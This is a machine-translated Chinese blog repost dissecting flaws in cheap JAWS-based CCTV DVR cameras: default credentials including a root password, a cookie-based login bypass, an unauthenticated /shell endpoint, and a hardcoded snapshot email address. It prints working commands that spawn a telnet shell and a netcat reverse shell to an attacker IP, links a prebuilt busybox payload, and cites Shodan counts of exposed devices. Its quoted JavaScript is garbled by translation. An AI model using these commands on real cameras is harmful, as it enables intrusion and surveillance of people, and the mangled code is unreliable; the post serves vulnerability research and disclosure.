摄像头漏洞安全检测(网络摄像头监控漏洞)

0x00漏洞分析今天看了一篇外国人写的关于廉价CCTV摄像头的文章,地址在https://www.pentestpartners.com/blog/pwning-cctv-cameras/,摄像头的亚马逊购买地址在http://www.amazon.co.uk/dp/B0162AQCO4.外国人暴露的漏洞主要有四个,分别是默认密码、web登录认证旁路、内置webshell、发送摄像头图片到硬编码的邮箱地址。经过我的测试,老外的文章有错误和不完整,我在下面补充了:)
1.默认密码
默认的WEB登录名为admin,密码为空。
另外,破解passwd后发现root的默认密码是“juantech”,可以通过telnet登录直接获取cmdshell,如图13360所示。
2.WEB身份验证绕过
当您第一次访问时,index.html会要求您输入用户名和密码。如果你输入正确,你将跳转到view2.html。如果您直接访问view2.html,您将被重定向到index.html,并被要求输入您的帐户信息。下载的固件被binwalk解压,如图2所示:
检查view2.js并找到以下内容:
$(文档)。ready(function(){ DVR _ cam CNT=cookies . get(” DVR _ cam CNT \ ‘);DVR _ usr=cookies . get(\ ‘ DVR _ usr \ ‘);DVR _ pwd=cookies . get(\ ‘ DVR _ pwd \ ‘);if(DVR _ cam CNT==null | | DVR _ usr==null | | DVR _ pwd==null){ location . href=\ ‘/index . html \ ‘;}如你所见,如果dvr_camcnt、DVR _ usr、DVR _ pwd三个值为空,它会跳转到index.html,所以我们只需要设置DVR _ camcnt、DVR _ usr、DVR _ pwd不为空即可。通过查看view2.js源代码,我们可以知道DVR _ camcnt实际控制着通道(chanel),如下:
函数goto _ open _ all()80 { 81 if(DVR _ viewer DVR _ viewer。ConnectRTMP) 82 { 83 dvr_viewer。SetPlayerNum(DVR _ cam CNT);84//switch(DVR _ camcnt)85//{ 86//case \ ‘ 4 \ ‘ : 87//DVR _ viewer . flsetviewdiv(4);88 //破;89//case \ ‘ 8 \ ‘ : 90//DVR _ viewer . flsetviewdiv(9);91 //破;92//case \ ‘ 16 \ ‘ : 93//DVR _ viewer . flsetviewdiv(16);94 //破;95//case \ ‘ 24 \ ‘ : 96//DVR _ viewer . flsetviewdiv(25);97 //破;98//} 99 open _ all(DVR _ camcnt);100 } 101 else 102 { 103 DVR _ viewer=$(\ ‘ # viewer \ ‘)[0];104 setTimeout(goto_open_all,1000);105 }106}原文说dvr_camcnt只能设置为2,4,8,24的值。实际上,您可以输入其他值。绕过登录身份验证的证据如图3所示。
3.内置webshell
通过查看解压缩后的固件目录,我们发现dvr_app包含web服务。用字符串看dvr_app二进制,可以看到/moo、/whoami、/shell、/snapshot等字符。尝试访问它,不需要任何验证就可以访问这些函数,如图4所示。
访问/shell时卡住了。将dvr_app拖入ida,查看shell函数对应的处理逻辑。因为是ARM小端的固件和架构,所以可以直接在IDA里面看F5里面的伪代码。图5
有两种方法可以利用它。一种是通过telnetd直接将/bin/sh绑定到任意端口,然后通过telnet连接。您可以通过telnet登录,无需身份验证。当你不知道固件本身的TELNET账号信息时,这种方法是非常常用的。该命令如下所示:
3358目标IP/shell/usr/sbin/telnetd-l/bin/sh-p25。但实际测试中要考虑防火墙/NAT的问题。很多设备只映射80,你连不上你开的其他端口,虽然设备是开着的。图6。
这时候你可以用nc把壳弹出来。估计是固件版本不同,我的测试目标busybox有自己的nc,所以通过执行
3358目标ip/shell /bin/busybox nc我的IP 53 -e /bin/sh可以得到被弹回的cmdshell,如图7所示
文章说他的固件的busybox没有nc,所以他静态编译了一个busybox,然后通过wget下载到一个可写的目录,然后授予busybox可执行权限,最后运行nc命令。他已经提供了编译好的busybox,可以通过http://212.111.43.161/busybox下载。
4.将相机图片发送到硬编码的电子邮件地址。
通过字符串查看dvr_app二进制,我们还发现了另一个可疑的字符串。
. rodata :002260 E0 0000005 a C target=lawi shere @ yeah . net subject=你是谁content=% ssnapshot=yes vin=0 size=320180
在github上搜索“lawishere@yeah.net”找到https://github.com/simonjiuan/ipc/blob/master/src/cgi_misc.c,通过源代码可以看到。
# define DEFAULT _ USER _ EMAIL \ ‘ dvruser @ esee 100 . com \ ‘ # define DEFAULT _ USER _ PASSWORD \ ‘ dvrhtml \ ‘ # define DEFAULT _ SMTP _ SERVER \ ‘ mail . esee 100 . com \ # define dear _ target _ EMAIL \ ‘ lawi shere @ yeah.net \ ‘ @ HD Moore在推特上也提到了这个中文邮箱,所以我看了一下。目前,mail.esee100.com问题尚未解决,但中国汽车工业协会在esee100.com的www.dvrskype.com问题已经解决。通过查询www.dvrskype.com的域名信息,可以看到该域名的所有者是caostorm@163.com,如图8所示。注意这里的ORG是“广州久安光电科技有限公司”,github的上传者也是久安光电科技的技术人员。从图9可以看到,他将把/whoami的返回信息和CCTV摄像机启动时拍摄的照片发送到lawishere@yeah.net。当然这个SMTP发送服务器已经不存在了,也可能是当时开发留下的测试的功能。
0x01全局统计是一个正在运行的自定义web服务器,HTTP服务器头包含明显的“JAWS/1.0”特征。最近sans在国内比较重视漏洞扫描(https://isc.sans.edu/forums/diary/Scanning for Fortinet SSH后门/20635/),我就直接用shodan的结果。图10
可以看出,全球大约有42545个闭路电视摄像头对公共网络开放。最常用的端口是80/8080,使用最多的国家是土耳其、印度、越南。)
目前应该也存在恶意使用这个闭路电视摄像头的自动化。通过查看几个设备,发现流程中包含了几个设备。
160根620秒。/drop bear-p 15081-r/tmp/drop bear/drop bear _ RSA _ ho和wget远程下载恶意文件。
0x02漏洞保护目前官方还没有补丁固件,建议不要对外开放80/23等管理端口。
0x03感恩者感谢低调的张老师教我逆向知识。张老师的善良是对我提出的幼稚问题的耐心解答,从不打扰我。
原创文章,由滴滴代写,转载自http://www.mottoin.com/tech/118722.html

其他教程

一个所有老司机都知道的游戏。新的DLC看起来很像原来的神魔塔,但是玩家不满意?

2022-9-3 20:14:16

其他教程

这很简单,只需在视频中添加白色背景,使其看起来更好,更具电影效果。

2022-9-3 20:16:19

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索